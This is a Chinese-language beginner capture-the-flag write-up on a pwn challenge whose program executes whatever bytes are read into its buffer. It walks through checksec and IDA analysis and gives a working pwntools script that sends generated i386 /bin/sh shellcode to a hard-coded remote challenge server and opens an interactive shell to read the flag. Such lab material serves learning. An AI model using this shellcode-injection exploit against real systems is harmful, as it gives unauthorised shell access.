通過用shellcode獲取shell

bestpotato發表於2020-10-08

通過用shellcode獲取shell

題目來源
題目要求:用pwntools生成shellcode進而獲取shell許可權奪得flag

題目解題大概思路

下載題目檔案
在終端執行程式,檢視題目檔案型別和保護機制
用對應位數的IDA來開啟題目檔案
看題目的條件和內容
寫python檔案
執行python檔案得到flag

1.終端執行程式,檢視題目檔案型別和保護機制

執行檔案(好像不能輸入資料)在這裡插入圖片描述

度娘一下: 出現段錯誤簡單來說就是訪問到了不該訪問的記憶體 這些記憶體不屬於使用者態的許可權範圍

檢視檔案(checksec保護機制)

在這裡插入圖片描述

2.反彙編分析

把程式拉IDA裡面分析,F5一鍵反彙編

在這裡插入圖片描述

程式先輸出“input your shellcode”(應該就是我們執行檔案裡面那一句)

然後呼叫read函式

這裡是我們可以呼叫read函式向buf裡面寫入東西

最後一行 ((void (*)(void))buf)()就是呼叫了buf的函式(一開始沒有認真看這一行導致沒有做題的思路)

也就是我們把shellcode寫進buf中,程式就會呼叫我們所寫的shellcode

3.編寫指令碼

要遠端攻擊伺服器,要有相應的ip和埠(可以先進行本地攻擊)

在這裡插入圖片描述

編寫指令碼(還不熟悉,就照葫蘆畫瓢地打)

在這裡插入圖片描述

#-*- coding: utf-8 -*-
#說明Python源程式檔案用使用的編碼型別改為UTF-8的型別

from pwn import *
#匯入pwntools

context(log_level='debug',os='linux',arch='i386')

p = process("./shellcode")
#載入程式

p = remote("49.234.71.236",28228)
#連結遠端伺服器

shellcode = asm(shellcraft.i386.linux.sh())
#生成shellcode

p.recvuntil("shellcode\n")
#接收程式顯示出來的字串,直至執行到read函式

p.sendline(shellcode)
#向程式輸入一行資料(shellcode)

p.interactive()
#將程式控制權交給使用者,相當於自用執行

4.執行指令碼

在終端用python執行我們寫好的指令碼

在這裡插入圖片描述

獲取了shell的許可權後,用ls列出所有目錄,再用cat flag來奪旗

在這裡插入圖片描述

把flag輸入,就成功了,感動QAQ

總結

1.checksec保護機制

2.用pwntools生成shellcode

3.read函式可以為我們往buf寫入資料,同時執行了buf,我們把shellcode寫進buf,程式會幫我們呼叫shellcode

4.對recvuntil函式的使用

5.用remote函式連結遠端伺服器

相關文章